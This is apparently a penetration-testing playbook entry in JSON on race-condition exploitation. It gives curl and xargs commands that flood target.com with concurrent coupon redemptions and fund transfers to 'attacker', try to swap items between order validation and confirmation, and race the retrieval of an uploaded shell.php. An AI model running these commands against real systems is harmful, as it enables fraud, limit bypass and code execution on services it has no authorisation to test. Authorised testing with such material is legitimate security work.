{
  "slug": "race-condition-testing",
  "title": "Race Condition Exploitation",
  "phase": "Exploitation",
  "description": "Test for time-of-check to time-of-use (TOCTOU) vulnerabilities, limit bypass via concurrent requests, and race conditions in financial and state-changing operations.",
  "difficulty": "high",
  "tags": [
    "exploitation",
    "race-condition",
    "toctou",
    "concurrency",
    "limit-bypass"
  ],
  "tools": [
    "Turbo Intruder",
    "Burp Suite",
    "race-the-web",
    "curl",
    "Python"
  ],
  "steps": [
    {
      "id": "race-01",
      "title": "Identify race-prone endpoints",
      "description": "Map endpoints that handle financial transactions, coupon/voucher redemption, voting/liking, inventory management, and one-time-use token operations.",
      "commands": [
        "cat all-urls.txt | grep -iE '(redeem|transfer|purchase|buy|vote|like|coupon|checkout|withdraw|apply|claim)'"
      ],
      "notes": "Any operation that reads, checks, and then writes without atomic locking is a potential race condition target. Prioritise endpoints with business logic impact."
    },
    {
      "id": "race-02",
      "title": "Send concurrent requests using Turbo Intruder",
      "description": "Use Burp Suite's Turbo Intruder with the single-packet attack technique to send multiple requests simultaneously, eliminating network jitter.",
      "commands": [
        "seq 1 20 | xargs -P 20 -I{} curl -sk -X POST https://target.com/api/redeem -H 'Cookie: session=<session>' -d 'code=DISCOUNT50'"
      ],
      "notes": "The single-packet attack sends all requests in a single TCP packet, ensuring they arrive at the server within microseconds of each other. This is far more reliable than threaded approaches."
    },
    {
      "id": "race-03",
      "title": "Test limit bypass via concurrent requests",
      "description": "Attempt to bypass rate limits, transfer limits, and inventory constraints by sending concurrent requests that exceed the allowed threshold.",
      "commands": [
        "seq 1 50 | xargs -P 50 -I{} curl -sk -X POST https://target.com/api/transfer -H 'Cookie: session=<session>' -H 'Content-Type: application/json' -d '{\"to\":\"attacker\",\"amount\":100}'"
      ],
      "notes": "Check the final state after all requests complete — if 50 concurrent transfer requests of $100 succeed when the balance is only $200, you have confirmed a race condition."
    },
    {
      "id": "race-04",
      "title": "Test TOCTOU in multi-step processes",
      "description": "Exploit the gap between validation and execution in multi-step workflows (e.g., check balance then deduct, verify permission then perform action).",
      "commands": [
        "curl -sk -X POST https://target.com/api/order/validate -H 'Cookie: session=<session>' -d '{\"item\":\"cheap_item\",\"qty\":1}'",
        "curl -sk -X POST https://target.com/api/order/confirm -H 'Cookie: session=<session>' -d '{\"item\":\"expensive_item\",\"qty\":1}'"
      ],
      "notes": "The key is finding the time window between the check and the use. Automated tools help, but manual analysis of the workflow logic is essential for identifying TOCTOU windows."
    },
    {
      "id": "race-05",
      "title": "Test file upload race conditions",
      "description": "Upload a file and attempt to access it before server-side validation (antivirus scan, file type check) completes.",
      "commands": [
        "curl -sk -X POST https://target.com/upload -F 'file=@shell.php' & curl -sk https://target.com/uploads/shell.php"
      ],
      "notes": "Some servers move uploaded files to a temporary location, scan them, and then move them to the final path. If you can access the temporary path before scanning completes, you may achieve code execution."
    },
    {
      "id": "race-06",
      "title": "Document timing and success rate",
      "description": "Record the number of successful duplicate operations, the timing window, and the business impact for the vulnerability report.",
      "commands": [
        "for i in $(seq 1 10); do seq 1 20 | xargs -P 20 -I{} curl -sk -o /dev/null -w '%{http_code}\\n' -X POST https://target.com/api/redeem -H 'Cookie: session=<session>' -d 'code=TESTCODE'; echo '--- Run $i complete ---'; done"
      ],
      "notes": "Reproduce the race condition at least 3 times to establish reliability. Include success rate (e.g., \"achieved double-spend in 7 out of 10 attempts\") in your report."
    }
  ],
  "references": [
    "https://portswigger.net/research/smashing-the-state-machine",
    "https://portswigger.net/web-security/race-conditions",
    "https://github.com/PortSwigger/turbo-intruder",
    "https://cheatsheetseries.owasp.org/cheatsheets/Race_Condition_Cheat_Sheet.html",
    "https://github.com/insp3ctre/race-the-web"
  ],
  "version": "1.0.0",
  "updatedAt": "2026-06-17"
}